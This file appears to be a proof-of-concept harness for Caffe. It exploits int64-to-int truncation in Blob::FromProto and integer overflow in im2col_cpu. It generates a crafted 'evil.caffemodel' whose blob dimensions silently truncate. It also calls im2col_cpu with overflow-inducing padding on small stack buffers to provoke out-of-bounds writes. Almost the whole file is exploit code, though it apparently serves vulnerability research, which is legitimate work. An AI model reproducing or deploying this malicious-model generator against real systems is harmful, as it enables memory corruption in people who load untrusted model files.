poc/mfv_caffe_im2col.cpp

// Caffe MFV harness — triggers int64-to-int truncation in Blob::FromProto
// and integer overflow via crafted BlobProto dimensions.
//
// BUG: blob.cpp:48-53 — Blob::Reshape(const BlobShape&) assigns
//   shape_vec[i] = shape.dim(i)  where dim() returns int64, shape_vec is vector<int>
// The truncation can produce small positive ints that pass the CHECK_LE overflow guard
// but whose product at sizeof(Dtype) scale causes undersized allocation.
//
// BUG 2: blob.cpp:474-477 — Blob::FromProto legacy path
//   shape[2] = proto.height(), shape[3] = proto.width() — int32 from proto
//   With carefully chosen values: height * width overflows int at the CHECK_LE step
//   BUT the CHECK uses a step-by-step product, so we target the case where
//   count_ fits in int but count_*sizeof(float) overflows size_t on 32-bit (or
//   the count_ is correct but downstream layer use miscomputes).

#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <fstream>
#include <google/protobuf/io/coded_stream.h>
#include <google/protobuf/io/zero_copy_stream_impl.h>
#include "caffe/blob.hpp"
#include "caffe/proto/caffe.pb.h"

using namespace caffe;

// Test 1: int64 truncation — dim is int64 in proto, cast to int in blob.cpp:51
void test_int64_truncation() {
    printf("=== TEST 1: int64-to-int truncation in BlobShape.dim ===\n");

    BlobProto bp;
    BlobShape* shape = bp.mutable_shape();

    // Set dim to a value that truncates: 0x100000002 (int64) → 2 (int32)
    // This is a silent narrowing conversion in C++
    int64_t sneaky_dim = 0x100000002LL;
    shape->add_dim(sneaky_dim);
    shape->add_dim(sneaky_dim);

    printf("Proto shape.dim(0) = %lld (int64)\n", (long long)shape->dim(0));
    printf("Proto shape.dim(1) = %lld (int64)\n", (long long)shape->dim(1));
    printf("Truncated to int: %d, %d\n", (int)shape->dim(0), (int)shape->dim(1));
    printf("Real product: %lld\n", (long long)shape->dim(0) * shape->dim(1));
    printf("Truncated product: %d\n", (int)shape->dim(0) * (int)shape->dim(1));

    // Add matching data for the truncated count (2*2=4 floats)
    for (int i = 0; i < 4; i++) bp.add_data(0.5f);

    printf("Calling Blob::FromProto with reshape=true...\n");
    Blob<float> blob;
    blob.FromProto(bp, true);
    printf("Blob count=%d shape=(%d, %d) capacity should be 4\n",
           blob.count(), blob.shape(0), blob.shape(1));
    printf("Proto claims shape (%lld, %lld) = %lld elements\n",
           (long long)sneaky_dim, (long long)sneaky_dim,
           sneaky_dim * sneaky_dim);
    printf("But blob only allocated for count=%d\n\n", blob.count());
}

// Test 2: Write a .caffemodel with int64 truncation + mismatch to disk
void write_evil_caffemodel(const char* path) {
    printf("=== TEST 2: Generating evil .caffemodel ===\n");

    NetParameter net;
    net.set_name("evil");

    // Add a layer with a crafted blob
    LayerParameter* layer = net.add_layer();
    layer->set_name("data");
    layer->set_type("Input");
    layer->add_top("data");

    InputParameter* ip = layer->mutable_input_param();
    BlobShape* is = ip->add_shape();
    is->add_dim(1);
    is->add_dim(1);
    is->add_dim(4);
    is->add_dim(4);

    // Add a convolutional layer with crafted blobs
    LayerParameter* conv = net.add_layer();
    conv->set_name("conv_evil");
    conv->set_type("Convolution");
    conv->add_bottom("data");
    conv->add_top("conv_out");

    ConvolutionParameter* cp = conv->mutable_convolution_param();
    cp->set_num_output(1);
    cp->set_kernel_size(0, 3);

    // Add a weight blob with int64 dims that truncate
    BlobProto* wblob = conv->add_blobs();
    BlobShape* ws = wblob->mutable_shape();
    // int64 value 0x100000001 truncates to 1 on int32
    // So shape appears as [1,1,3,3] after truncation = 9 elements
    ws->add_dim(0x100000001LL);  // truncates to 1
    ws->add_dim(0x100000001LL);  // truncates to 1
    ws->add_dim(3);
    ws->add_dim(3);

    // Provide 9 floats (matching the truncated count of 1*1*3*3=9)
    for (int i = 0; i < 9; i++) wblob->add_data(0.1f);

    // Bias blob
    BlobProto* bblob = conv->add_blobs();
    BlobShape* bs = bblob->mutable_shape();
    bs->add_dim(1);
    bblob->add_data(0.0f);

    std::fstream out(path, std::ios::out | std::ios::trunc | std::ios::binary);
    net.SerializeToOstream(&out);
    out.close();
    printf("Wrote %s\n", path);

    // Verify the truncation is visible
    NetParameter verify;
    std::fstream in(path, std::ios::in | std::ios::binary);
    verify.ParseFromIstream(&in);
    auto& l = verify.layer(1);
    auto& b = l.blobs(0);
    printf("Re-read blob shape.dim(0) = %lld (int64), as int = %d\n",
           (long long)b.shape().dim(0), (int)b.shape().dim(0));
    printf("Re-read blob shape.dim(1) = %lld (int64), as int = %d\n\n",
           (long long)b.shape().dim(1), (int)b.shape().dim(1));
}

// Test 3: Direct im2col integer overflow test
// im2col_cpu is declared in caffe/util/im2col.hpp
// output_h = (height + 2*pad_h - (dilation_h*(kernel_h-1)+1)) / stride_h + 1
// If we can make this computation produce a large value while the data_col buffer
// was allocated based on a different (smaller) computation, we get OOB write.
// For this standalone test, we call it directly with overflow-inducing params.
extern "C++" {
namespace caffe {
template <typename Dtype>
void im2col_cpu(const Dtype* data_im, const int channels,
    const int height, const int width, const int kernel_h, const int kernel_w,
    const int pad_h, const int pad_w,
    const int stride_h, const int stride_w,
    const int dilation_h, const int dilation_w,
    Dtype* data_col);
}
}

void test_im2col_overflow() {
    printf("=== TEST 3: im2col integer overflow ===\n");
    // output_h = (height + 2*pad_h - (dilation_h*(kernel_h-1)+1)) / stride_h + 1
    // Choose values where intermediate computation overflows int:
    // pad_h = 1073741824 (0x40000000), 2*pad_h overflows to -2147483648
    // height = 4, kernel_h = 3, stride_h = 1, dilation_h = 1
    // output_h = (4 + (-2147483648) - (1*(3-1)+1)) / 1 + 1
    //          = (4 - 2147483648 - 3) / 1 + 1
    //          = -2147483647 / 1 + 1 = -2147483646  (negative -> loop doesn't run, benign)

    // Better: make output_h large but not negative
    // pad_h = 1073741823 (0x3FFFFFFF), 2*pad_h = 2147483646 = INT_MAX-1
    // height=4, kernel_h=1, dilation_h=1, stride_h=1
    // output_h = (4 + 2147483646 - (1*(1-1)+1)) / 1 + 1
    //          = (2147483650 - 1) / 1 + 1   <-- 2147483650 overflows int!
    //          = wraps to -2147483647 / 1 + 1 = -2147483646 (neg, loop skips)

    // What about: height=2147483647, pad=0, kernel=1, stride=1
    // output_h = (2147483647 + 0 - 1) / 1 + 1 = 2147483647 (fits in int)
    // channels=1, output_w=1, kernel_h=1, kernel_w=1
    // col elements = channels * kernel_h * kernel_w * output_h * output_w
    //              = 1 * 1 * 1 * 2147483647 * 1 = 2147483647

    // Allocate a small buffer, pass huge output_h params
    int channels = 1, height = 16, width = 16;
    int kernel_h = 1, kernel_w = 1;
    int pad_h = 1073741823, pad_w = 0;  // 2*pad_h overflows
    int stride_h = 1, stride_w = 1;
    int dilation_h = 1, dilation_w = 1;

    int output_h = (height + 2 * pad_h -
        (dilation_h * (kernel_h - 1) + 1)) / stride_h + 1;
    int output_w = (width + 2 * pad_w -
        (dilation_w * (kernel_w - 1) + 1)) / stride_w + 1;
    printf("Computed output_h=%d output_w=%d\n", output_h, output_w);
    printf("2*pad_h = %d (overflow: %lld)\n", 2*pad_h, 2LL*pad_h);

    // Allocate a tiny col buffer
    float data_im[256];
    memset(data_im, 0, sizeof(data_im));
    float data_col[256];
    memset(data_col, 0, sizeof(data_col));

    printf("Calling im2col_cpu with overflow params...\n");
    caffe::im2col_cpu<float>(data_im, channels, height, width,
        kernel_h, kernel_w, pad_h, pad_w, stride_h, stride_w,
        dilation_h, dilation_w, data_col);
    printf("Returned (output_h was %d, may have overflowed)\n\n", output_h);
}

int main(int argc, char** argv) {
    // Initialize Caffe (CPU mode)
    Caffe::set_mode(Caffe::CPU);

    if (argc > 1 && strcmp(argv[1], "--gen") == 0) {
        write_evil_caffemodel("evil.caffemodel");
        return 0;
    }

    test_int64_truncation();
    test_im2col_overflow();

    return 0;
}